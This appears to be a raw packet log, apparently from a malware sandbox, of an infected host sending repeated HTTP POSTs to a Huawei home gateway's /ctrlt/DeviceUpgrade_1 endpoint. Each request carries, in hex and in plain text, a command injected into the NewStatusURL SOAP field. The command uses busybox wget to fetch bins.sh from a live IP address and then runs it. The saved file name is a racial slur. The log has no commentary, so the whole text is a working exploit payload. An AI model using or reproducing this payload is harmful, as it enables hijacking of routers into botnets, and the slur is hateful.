Feb 19, 2024 18:37:01.984939098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.210052013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:12.353812933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.385420084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.240747929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.15	37658	45.207.185.147	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:02.129826069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.210138083 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:12.353806019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.385426998 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
